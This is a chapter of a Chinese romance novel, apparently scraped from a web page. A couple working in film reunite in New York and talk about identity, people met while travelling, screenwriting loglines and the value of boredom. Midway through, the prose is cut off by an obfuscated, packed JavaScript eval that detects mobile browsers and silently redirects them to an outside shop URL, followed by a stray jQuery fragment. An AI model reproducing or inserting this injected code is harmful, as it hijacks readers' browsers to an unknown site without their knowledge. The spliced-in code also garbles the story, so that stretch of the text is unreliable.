起初只是浅吻嘴唇，一来一回轻轻地啄，更多是眼神交缠在一处。他整整迟来一周，她也整整等他一周，本来该是她不满，但他望着她，那些细微的情绪递进她眼里，换作酒的味道形容出来，入口是半甜的，带着土壤和干草的香气，清爽细腻，余味却有一点果味的酸，并不尖锐，藏在那一点甜下面，被他很好地平衡住了。
她尝着这点酸，脸颊埋进他颈窝里，一下一下蹭着他的皮肤，他熟练地解开她的发带，一头卷发散落下来，涌进他手心，他侧过头去嗅，是熟悉的让人贪恋的味道，再去吻她眼窝下零星几粒雀斑，手在她身上揉弄，顺着肩膀绕到她后背，来回地抚。她在他怀里动了下，似是要按住他的手，最终却只是搭在他手腕上，他咬住她唇瓣，顺势勾住她手指，两只手若即若离地厮磨片刻，不知不觉十指紧扣，扣住那一刻，贺司扬开始激烈地索吻，已经吻过无数次，这次却没了章法，野蛮地侵入进去，狂风般卷过来又卷过去，周小玩很快就喘不过气，他渡给她，她要躲，他又追缠过去，无休无止般，直把她舌尖都含麻了。
“不……不行了。”
周小玩被吻得晕头转向，歪过头，终于分开来，她大口呼吸，还没缓过气来，就又被他扳过脸，以为他还要吻，他却只是一脸探寻看着她：“你看起来有点不一样。”
她笑：“哪里不一样？”
“过去一星期发生了什么？你的眼神变了。”
她好奇问：“我原来是什么样的眼神？”
他思索几秒，少见地用了个比喻：“有很多光，是那种湖面上的光，也很平静，湖面偶尔会起波澜，但湖里始终是稳的。”
他看过很多双眼睛，大多数人表面平稳，眼神却飘忽不定，是一面湖面没有波澜但内里心浮气躁的湖，心浮气躁意味着不够专注，内核也不够稳定。一个内核稳定的人，眼神会更坚定更有光。
周小玩笑着问：“那现在呢？不稳了？”
“现在好像朝湖里丢进去两块大石头。”他一边说一边往她大衣口袋里摸：“都发生什么事了？”
她按着手机不给他：“不告诉你。”
她不给，贺司扬就佯装去抢，两人在床上缠斗起来，有人借着抢劫的名义干接吻的事，将她捞来腿上到处亲，直到她自己把手机放来他手里：“你点吧。”
他直接人脸识别打开她手机，翻到备忘录，里面记录了近二十条要跟他说的事——这个习惯是周小玩认识他之后有的，平常不用特别记录，有什么事当天见面就说了，没办法见面就电话里说，说完不用担心忘了，因为贺司扬也会往手机里记。
两个人很少看对方的手机，看也多半只看备忘录，看看对方会不会有什么事忘记跟自己说了。有几回贺司扬点开来，里面都是那句：看也没用，你知道我有事要说，但我就是不想告诉你，等我高兴了再来吧。
像这回记录这么多条的情况很少，用高兴不高兴来判断不合适，里面更多的是感悟和思考：
1.身份政治
2.todo和tobe
3.Logline
……
贺司扬看完，说从第一条开始听起。
周小玩就从她刚到纽约那天说起。准备去拉斯维加斯之前，其他人各自回去收拾行李，她趁着这个空档一个人去附近走了一圈，从dollartree逛过出来，她被一个黑人拦住——和她预想的一样，他从口袋里翻出一块手表，问她要不要买。那是一块表面斑驳的男表，镜面上有很多划痕，显然用很久了。她知道他只是找了个由头来跟她要钱，正犹豫的时候，他走近一步，一脸痛苦地告诉她：你知道吗？我是个奴隶，我们全家人都是奴隶，在这里，没有人会关心奴隶。
即便她听文杰说过很多次被黑人拦住要钱的经历，可在自己真正经历的那一刻，尤其是三个重复的“slave”压过来的时候，她的第一反应仍然是心痛。
她不知道他经历了什么，为什么会有这样的自我认知？他每拦住一个人都要告诉对方他是奴隶吗？他说出来的那一刻心里是什么感受呢？
那一刻她不知道该怎么办。
“如果是你，你会怎么做？”她问贺司扬。
“我会直接走开，但你不会这么做，”贺司扬去抚她皱起的眉毛，“你请他吃饭了？”
“勉强算吧，我把他带进旁边的一元店，让他自己选了一些他要的。在柜台等他的时候，我一直在纠结一个问题——”
贺司扬心领神会：“你在思考要不要跟他聊一会儿，了解他的家庭，了解他过去的经历，好知道到底是什么让他那么容易就把‘我是奴隶’说出来。”
“你猜我问了没。”
“没有吧，你问不出口。”
是的，她问不出口。自以为给了别人一点小恩小惠，就觉得可以去探知一个人的隐私，那样太卑鄙了，即便她的本意并非如此。
这件事之后，她又陆续碰到一些各式各样的人，卖CD的，想要捐款的，直接要钱的……正如文杰说的那样，见得多了，也就麻木了。
就在她思考别人身份认同的同时，她自己的身份也在一次又一次地接受拷问。
文杰喊来的朋友里，很多人都不会发“zh”音，而他们又坚持要喊她的全名，一喊就错，一喊再错，当有人（美国人）在第四天仍然喊错的时候，他被另外几个人（亚裔非洲裔）狠狠批了一顿。在周小玩看来，怎么喊她都没什么所谓，一个名字而已，只要可以确定喊的是她，那就没有什么问题。
但他们认为她受到了歧视，她因为她的亚洲人身份受到了种族歧视。
她自己并不这么认为，费了很大一通力气告诉大家叫错没有关系，只是发音的问题而已，她并不介意。但他们觉得她只是装作不介意。
紧跟着，她在旅行途中遇到了一个很热情的澳洲老太太，老太太是民宿老板，问她叫什么名字，她不想再一遍一遍教别人怎么念，就把自己的英文名告诉了她，老太太一瞬间变得很严肃，把她的中文名问出来后说：“siaowong，你拥有一个很好听的名字，以后别人再问你，你应该用回你自己的本名，要记住，越是来自贫穷国家的人，越应该坚守住自己的名字。”
“她应该不是在澳洲出生？”贺司扬问。
“对，她是伊朗人。”
贺司扬点点头：“你记不记得大学时候写过一篇《上帝之城》的观后感？”
“你写的？”
贺司扬笑着摇头：“你，你写过。你在开篇说，假设《上帝之城》发生在另一个城市，那就会是个截然不同的故事，但结尾的时候又说，假若换一个城市，《上帝之城》的故事就不会发生，就算是在另一个同样充斥着暴力的贫民窟，那里发生的故事也会跟上帝之城不同。”
她也自问，为什么这样一部血腥残暴的犯罪片，会让她很长一段时间都念念不忘。还说，人好比一株植物，仰仗于出生的时间地点，仰仗周边的气候土壤，它可能是蕨类，可能是树木，可能出生在充满暴力的里约热内卢，可能出生在西进运动的路线上，也可能出生在和平年代的和平地区，但无论它身处何处，都打破不了人如蝼蚁命如草芥的事实。
“我还写过这种？”听他简单复述完，周小玩笑了下，很快又不笑了，“所以一个人身在哪里，就会被打上哪里的烙印，她所在的土壤给她提供的就是那片土壤的养分。她觉得我受到歧视，是因为她被歧视，她将她自己的经历投射到了我的身上。”
她说着说着想到了一句话，贺司扬替她说出来：“‘你眼中的你不是真的你，别人眼中的你也不是真的你，你眼中的别人才是真的你。’她在你身上看到的是她自己。”
他又说：“我看最近新闻也在讨论，有人开始喊原住民为美国人，喊美国白人为欧裔美国人。”
周小玩笑了：“那他们不得崩溃？”
“嗯，所以有人说，激怒白人只要五个字，‘欧裔美国人’。”
“真讽刺，”周小玩又想到那个自称奴隶的黑人，“你说，如果他出生在另一个地方会怎么样？我不是出生在中国又会怎么样？”
“你无论出生在什么地方都会和现在一样，但他我不知道。”
周小玩沉默片刻后说：“你的意思是，他的身份是没办法选择的，但他可以选择他的话语？”
“嗯，他怎么去表达，这是他可以决定的，别人对他身份霸凌，他可以选择接受或不接受。”见她还皱着眉在思考，可以猜想这几天她没少想，他去解她的大衣扣子，“这些都是假设，是想象，我认为他有选择的余地，也是建立在我的土壤和身份之上，是基于我现有的认知，属于百分百站着说话不腰疼，可能当我真的站在他的位置，我会跟他一样，因为话语也好，表达也好，都比不上一块面包一瓶牛奶来得有用。”
“嗯，明白你的意思，你只是希望他不要再那样自称，也希望她们不要再将自己投射到别人身上，历史遗留问题需要对抗，但没有必要强制要求别人也那样做。”她看着他将她的外套脱下来放到旁边，挪过去从身后抱住他，“你怎么就觉得我无论出生在什么地方都会跟现在一样？”
他沉吟后说：“就那么觉得了，你的事情我没办法客观去想。”
她笑出声来：“你这跟强词夺理有什么区别？”
“那你怎么想？”他想她肯定已经假设过了。
她没有直接回答他：“我在路上还碰到一个人，就在那个澳洲老太太的餐厅里，白天她在后厨洗碗，晚上睡在大街上。”
周小玩去找老太太，老太太像是知道她要问什么，直接告诉她，那是个刚出狱的刑犯，能让她洗碗已经是她能冒的最大风险了，住处是绝对不会提供的。“就算我敢，你们还敢住我的地方吗？”
被老太太这么一震慑，第二天周小玩还是去跟那个女人搭话了，顺便把一双旧鞋给了她，她的脚冻得很厉害，立马就把鞋给换上了。女人说她只是在这里短暂停留，过两天就要去往下一个州。
“去做什么呢？”
“去到处看一看，进监狱以前就想过有钱的时候要看看外面的世界。”
“看完之后呢，你有什么打算？”
女人说她想去加拿大投奔她的一个姑妈，姑妈在那里做木工，听说挣得不少，不过不知道姑妈会不会接受她，也不知道她能不能顺利攒到钱出国，她也不知道姑妈具体住哪，只从照片里看出是在一个树很多的地方。
周小玩说：“你回答的是todo，那tobe呢？”
“她怎么说？”贺司扬问。
“她说她没想好，她有时候感觉自己还在监狱，偶尔心慌，也想过一根绳子吊死算了，但又觉得不甘心，她说她只是杀了一个烂人，而那个烂人刚好是她父亲而已。她是因为怕死才杀的人，如果杀了人再杀自己，就太不划算了。她现在还想不到那么远，只想先把活着的意志找回来。然后她又问我，问我的tobe是什么。”
贺司扬看着她，是在问她有没有回答。
“我答不出，很久没有想这个问题了。所以这几天看着一路上的人，我一直在想，要是我不学电影，现在的我会在做什么？也想过以后姥姥姥爷都不在了，我跟我妈又过不到一块，是不是可以换一个地方生活，嗯……换一片土壤，感受一下别的气候，当当别的植物。”
“真的不会学电影么？”贺司扬多少有点怀疑。
“可能吧，感觉过去这么多年老是围着电影在转，看到什么都要往电影身上靠，思维都成定势了。姥姥说得没错，电影要看，书更要读，可我现在就像个草包，脑袋里空空的，人也越来越倦怠了。我总结出两个原因，一个是酒喝太多，一个是班上多了。”
贺司扬不很赞同：“是一下子看到太多不同的人，对比下来你就觉得别人的生活多姿多彩，但反过来，别人也觉得你新奇，说不定也很羡慕你。别人走的路我们没走过，免不了要去美化。”
“可能吧，但不能否认我确实受到了刺激，你说我稳，你看，看错了吧，稳的是你。”
“稳不是一个恒定状态，要真的面对什么都没有波澜，那不是人，是已经修成仙了。”贺司扬见她笑了，也笑着说：“在一个地方生活久了，再跳出去，更容易产生不一样的感触，以后我们要多出来走走。”
周小玩立即“嗯嗯嗯”赞同几声：“我也想了，可能我换个时间来，也不会有这种感触，你说是不是有什么在召唤我？”她变了个声调，模仿召唤的声音，“别死磕电影啦，工作几年了也没见搞出什么名堂来，试试别的吧，你不是说还有很多工作想尝试么？”
两个人都笑了，她又说：“还有一个原因被我忘了，我过得太顺了。”
“你不是说苦难教育都是扯淡么？”
她笑：“不一定是苦，要有点波澜，总觉得现在没多大意思。”
“你说的应该是太积极了，太积极了就没意思。”
“嗯，太积极的状态是缺乏生命力的，为了功绩去创作，创作就不再是创作，而是劳作了。”两个人漫无边际聊着，她突然又说：“你说我明年去做记者怎么样？或者拍纪录片，大黄你还记不记得？她前阵时间记录一个尿毒症患者的最后一百天，写的后记很值得一看。”
“看了，”贺司扬又去解她的毛衣扣子，“以后想做什么，可以慢慢想，你不是也说了？反正可以尽情啃老，想做什么都行。”
“你在阴阳怪气。”她躺在那儿，任由他帮她脱衣服。
“我是在开玩笑。”
是玩笑，也是真心话。她想做什么，他都支持，她不想啃老，还可以来啃他（他好歹还不老吧），他有一点钱，要是没了，他也可以啃老，虽然前不久才跟他爸说不用他的钱，但实在缺钱了也照样会伸手，他不是多有骨气的人，必要的时候能为五斗米折腰——这些话太肉麻了，他说不出口，时机也还不对。
“你呢？你肯定会一直往下做吧，规划都做到很久以后了。”她问他。
“规划也可以变，要是按部就班，那就太吓人了。”
她望着他：“你一直都这么吓人。”
他笑了，解扣子的动作停住，像在看着她，也不像。
“怎么不说话了？”
“我在想，过去一周对你很重要，但我不在你身边。”
周小玩笑着坐起来，揽住他脖子：“我就等你说这句话呢。后悔了吧？”
他不说话，但答案已经在眼睛里了。
他这样子她又有些不忍了，往他鼻尖上亲了下：“你也在的，我晚上梦见了你。你梦到我了没？”
“没有，可能白天想太多了，晚上不让我想了。”
她咯咯笑出声来，这是贺司扬第几次说这种话？她一时数不出来，反正不多就是了。
她问：“你这星期都干什么了？”
“挺无聊的。”
“哪里会无聊？你是去救人命了。不然怎么舍得让我一个人来？”
他笑着继续给她脱衣服：“还在生气？”
“时不时吧，想起来还是有点，说好要一起来的，要早知道是现在这样，我早几百年都来了，用不着等你。”
“我的错。”贺司扬在她的备忘录里看过一句话，是问她自己恋爱是什么，她给出答案：恋爱是即使当我在做一件很平凡的事，我也希望他在我身边。对她来说，来纽约只不过是订一张机票的事，如果不是为了跟他一起，她早就来了。
他将她外面衣服都脱了：“先洗澡？”
她朝他伸手，是要他抱的意思，他将周大小姐抱到浴室，又去对面拿了她的行李过来，她开始洗了，他拿了她的睡衣靠在浴室外等，隔着水声，两人继续聊天。
贺司扬这一周连轴转，但借着在车上的时间把一档综艺节目给看了，《思想验证区域》，周小玩想看但一直没看，他知道她的习惯，拖着拖着大概率就不会看了，他就老样子当代表看完，跟她讲里面有意思的部分。
“然后呢然后呢？”她在里面不停追问。
贺司扬是不怎么耐烦看韩语作品的，他看过的韩国电影可能不到两百部，占据他观影数量的百分之三不到，原因之一是他觉得大多数韩国演员演得不够好，总有一种端着的感觉，之二是他不喜欢话语被控制，敬语尊称让他听着很不舒服，这一点不止针对韩国文化。但他又很爱看真人秀（可以观察人性），韩国的真人秀做得又很好，每次有什么新综艺出来，他起初都会皱着眉头，看着看着又忍不住夸两句。
每到这种时候，周小玩都会忍不住大笑，再默默感叹一句，这个人也不是没有可爱的时候，不过也就一点点吧。
她洗完澡出来，贺司扬还没讲完，她先开口：“我刚想了。”
“什么？”
“你不会走开，如果你遇到那个黑人，你大概率会给他一百刀。”
贺司扬想了想：“分性别年龄吧，可能会给20。”
周小玩笑了，贺司扬不知道她笑什么，等到进了浴室，看到雾蒙蒙的玻璃上有个手写的20，他也笑了。
他洗，周小玩就躺到床上看他手机，备忘录里有几条，其中记录那档综艺节目的，有几个时间点，是他认为她可以自己去看一看的，她没立马去看，而是从他摊开的行李箱里找到那块他新捡到的狗牌。
贺司扬的爱好之一，收集狗牌。也是奇了怪了，他总是能捡到各种各样的狗牌，狗牌上往往会留电话号码，他都会打过去确认人家的狗有没有丢，要是丢了，他就会帮着人一块找，没丢，他就会松一口气。不管丢没丢吧，他跟人在电话里寒暄，聊着聊着一定会说出那句：我有一只金毛，黄色的，一只阿拉斯加，棕色的，还有一只猫，蓝色的苏格兰折耳，都是领养的。只是说了这一句话，他就很高兴了，要是对方表示羡慕，他就更高兴了，继续细数他过往的猫猫狗狗历史。他说话的口吻要怎么形容呢，不知道的会以为他不是在炫耀猫狗，而是在炫耀自己有几百亿存款。
她捏着狗牌等他，过会儿他出来，她就照着狗牌念：“皮卡丘，2019年3月24出生，还留言了啊：恭喜你，遇到了世界上最可爱的狗，也恭喜我，遇到了世界上数一数二的爱狗人士贺司扬，真是相见恨晚啊~~”
后面一句是她杜撰的，贺司扬听得笑了，他擦了头发躺到她身边，继续问她的事：“Logline是怎么回事？”
Logline，一句话梗概。
“是文杰的一个朋友，也学电影的，聊到我想拍的一个电影，他问我这部电影的logline是什么。”
贺司扬笑了：“你没揍人家吧？”
Logline是她最讨厌的东西之一。
“想揍的，但他根本没看出来，”她开玩笑，“他说他以前经常参加洛杉矶一个编剧工坊的比赛，交100刀，会得到一份他们提供的评价和修改意见，他也可以只交25刀，他们负责帮他修改logline。他还把联系方式给我了，说有必要去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555991|139918||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
提高一下我写logline的能力。”
“你去联系了，他们怎么说？”
她笑：“你怎么知道我联系了？那个朋友还以为我没兴趣呢。”
“他对你的好奇心还不够了解。”贺司扬也好奇，“他们怎么修改的？”
周小玩翻出工坊回复的邮件，贺司扬接过一看：一个对爱情失望的女人，和一个对生活失望的男人坠入爱河，两个人百分百合拍，但他们也将面对一系列的问题和考验。
看过这条，就可以知道周小玩讨厌logline的原因，干巴巴的一句话，似乎概括了剧情，却什么也没有点出来。她说过，一句话可以概括的故事，那得多无聊？更重要的是，宁愿复杂，也不要过度简化，复杂很重要。她跟贺司扬形容过，那种复杂类似于右脑跟左脑切断联系后，右脑仍旧可以看见东西，但说不出口。那种无法宣之于口的情绪就是复杂的一种。
不过贺司扬关注的并不是这句logline，而是周小玩发给工坊的，是《百分百恋爱》的故事。
“我先声明，我只是随手发的，我知道如果我发我自己带的电影，他们发回来我也不会用，用你们的，说不定到时候还用得上呢。不过现在你也看出来了，该提高能力的是工坊，不是我。”
她说着说着笑了，贺司扬却是无奈地叹了一口气，将她按来怀里：“你下一句是不是就要说，25刀不能白花，你还是去带这个项目，至少把25刀赚回来，对不对？”
她摇头，做出一个捂他嘴的动作：“出来玩不要谈工作。”说着把他手拉到自己腰上，“你给我揉揉，好酸，快点，给我揉揉。”
她一这样，贺司扬什么话都说不出口了，一下一下给她揉着腰，低头又去亲她，她热情地回吻，见他眉头还没有完全舒展，转移话题说：“我在犹他州碰到一个很喜欢中国文化的大学老师，她说她最近在学毛笔字，觉得很神奇，那么软的笔，怎么就可以写出那么有力的字。”
“你说过类似的话。”
“什么？”
“那么小的一只知了，怎么可以发出那么大的声音。”
“诶？这是我很早一部短片，你怎么也看了？”
贺司扬有点糊弄的意思：“就是看了。”
说着自己笑了，他忽然一下子打开了话匣子，打开话匣子的贺司扬是有点可怕的，一直在她耳边说个不停。周小玩还记得一年多前两人分手后重新碰到，一开始还有点不自在，过后就是他说完换她，她说完又换他，花了很多天，总算是大体把过去一年积攒下来的话给说掉了。
周小玩抱紧贺司扬，喊他名字：“贺司扬。”
“嗯？”
“以后少吵架好不好？”
贺司扬应了一声。
“你知不知道我们吵架的原因其实在你？”
“嗯……是么？”贺司扬在专注亲她。
她笑：“我怎么对待一个人，其实是对方让我这么对待他的。所以我老是跟你吵起来，也是因为你允许我跟你吵，你看我跟别人就很少吵，你说是不是你的问题？”
他也笑：“那反过来就不成立了？你不是也允许我了么？”
已经是凌晨三四点，本该睡了，两人却还很精神，贺司扬去揉她肚子，她肚子上有一些肉，看不出却摸得到，他很喜欢摸她那里，每次他摸，她都要问他是不是变态，而他每次都会爽快接受。
“喂……”她想抽回被他拉过去的手。
“帮帮我。”贺司扬在她耳边说，抓着她手没放。
差不过一个月没有过了，他忍得有点辛苦，知道她生理期刚过，再忍一晚就差不多了，但她在他怀里乱动，手还往他衣服里钻，他招架不住，不得不请她用手帮一下。
折腾来折腾去，贺司扬是越来越精神了，周小玩却不行了，又累又困，贺司扬抱着她去洗了手，又给她换了一套他的衣服，重新躺下时，两人抱在一起准备睡了。
“明天想做什么？”贺司扬问，“累不累？要不要先休息一天？”
“要……”
“跟你一起去拉斯维加斯的朋友，这两天约个时间请他们吃饭？”
“不要了吧，我要跟你，两个人。”她困了，说话都是短句，过会儿又说，“那就明天晚上？明天我问文杰。”
“嗯，”他捉起她手指亲了下，“睡吧。”
他把床头灯按了，黑暗中她又往他怀里拱了拱，迷迷糊糊还总结了一句：“上午睡觉，下午无聊，晚上吃饭。”
贺司扬笑了。
“无聊”这件事是他在刚入职场时从她那里学来的。从学校毕业后他就进了开拍，他一个新人，第一回就赶上了很有含金量的项目，更意外的是，跟他对接的人竟然是周小玩——他早就听说她进了哪家公司，也想过是不是有可能碰上，但总觉得不会那么巧，可事实是真的就那么巧了。他不知道该怎么定义跟她之间的熟悉度，说很熟算不上，说不熟又是吵过不少架吃过不少回饭的关系，或许她也拿不准，一开始两人都默契地公事公办，除工作之外没有一句话说，有时候两边一起开会或聚会吃饭，碰见了点个头，就算打过招呼了。
她进职场后似乎不那么张扬了，给人一种很稳重的感觉，直到项目末期，有一回她迟迟没给他方案，给她发消息她不回，打电话也不接。上头负责人来催了几回进度，他甚至想过晚上回去加班偷偷替她做了算了，没想到开车回去的路上碰见了她。她坐在马路边，十月的天，她穿一件短袖，身上湿了，头发上也有水。他停好车过去找她，她吓一跳：“不是吧？你们还亲自来堵人？”
下一句又说：“堵也没用，我交不出。”
她说得理直气壮，让他总算看见她原来大学时的影子。
他问她：“你在干嘛？”
她用手拂了拂刘海上的水：“我在无聊。”
“算了，你不懂。”她紧跟着说。
他本该走的，但站着没动：“你可以说，说了我就懂了。”
她就说了一堆书面用语，大意是说每天高强度的工作让人根本没有闲下来的时间，就算是碎片时间也要被各种各样的短视频和短文占据。一不让自己忙起来，人就要焦虑，一让自己无聊了，就觉得是在浪费时间。好像不让自己停下来才能显得自己生活得很充实，但这种充实也只能骗骗自己而已。而深度无聊恰恰是一个人放松和沉淀的时候，这种时候也是创造力最活跃的时刻。一个不能忍受无聊的人，无异于把自己当做了一台机器。
她不想当机器，她想无聊一下。
“看吧，跟你说了也不懂。”她站起身就要走，“你别催，你催了我就不干了，不干了我就要被开了，所以你别催。”
她转了身往前走，他站在原地看着她走远，然后喊住了她。
她回过头来。
他快步跟上去：“你要这么无聊着走回去？”
“不行啊？”两人是吵过架的关系，不尴不尬地，她语气总有些冲。
他问：“你往哪边走？”
“我到处乱走。”
她继续往前，又侧过头看他：“你在跟踪我？”
“没有。”
她再往前，又回头：“还说没有。”
“是没有，我不太懂你说的无聊是什么意思，就现身说法试一试。”
“你看起来确实不懂，每天把时间安排得满满当当的，当然就没有无聊的时间了。”
“你怎么知道我把时间安排得很满？”
她顿了顿才解释：“我听陈挚说过。”
陈挚是他的大学室友。他“噢”了一声，没再说话。
她默认了他跟她一起，也不怎么搭理他，走走停停到了一排枫树下，她停下来，一地的红枫叶，被她挪到一边，又被她挪回来，地上就出现了一个字。
忙。
“你不知道无聊，那‘忙’总理解吧？你看它长什么样？”她站远了，挪出地方给他看。
竖心旁，一个亡，是心死了。
他看一眼字，再看一眼树下的她，一瞬间就明白了。
那天到最后，两人在一个十字路口分开，那里离他住的地方有十公里，他是走回去的。
她总说他不开窍，跟他解释了很多次，他才懂得什么才是无聊。
后来在一起，她有时候忙着忙着就猛地起身，说她要无聊一下，有时候自己跑出去，有时候到他身边把他扑倒，要他跟她一起无聊。
在纽约无聊稍微有那么一些差别，出来旅游，无非是消费陌生符号。两个人走在街头，看一看，吃一吃，买一些小物件，偶尔互看一眼，交流几句，又转过头去看别的。
上一次这样出来玩已经是很久之前了，久违的放松时刻，没有按照计划来，一下午也很快消磨过去。
到傍晚下起了小雨，两人牵着手在雨里走，也不知道贺司扬什么时候准备的，袋子里每份礼物都包装得很像样子，他一手提着，一手揽了她坐上去新泽西的Path。
文杰住在Newport，本来说要来接她们，知道周小玩想体验当地公交，就撑了伞在站外等。雨下大了，文杰还把朋友叫上了，也是一起去拉斯维加斯的女生，她把手里的伞塞给贺司扬，打完招呼说：“小玩，你说你跟司扬第一次见面那天下了雨，好巧，今天纽约也下雨了！”
贺司扬去看周小玩，她扯过他的外套裹住肩膀，冲他一扬眉，又看回女生，半开玩笑说：“但那天的故事，比今天要曲折多了。”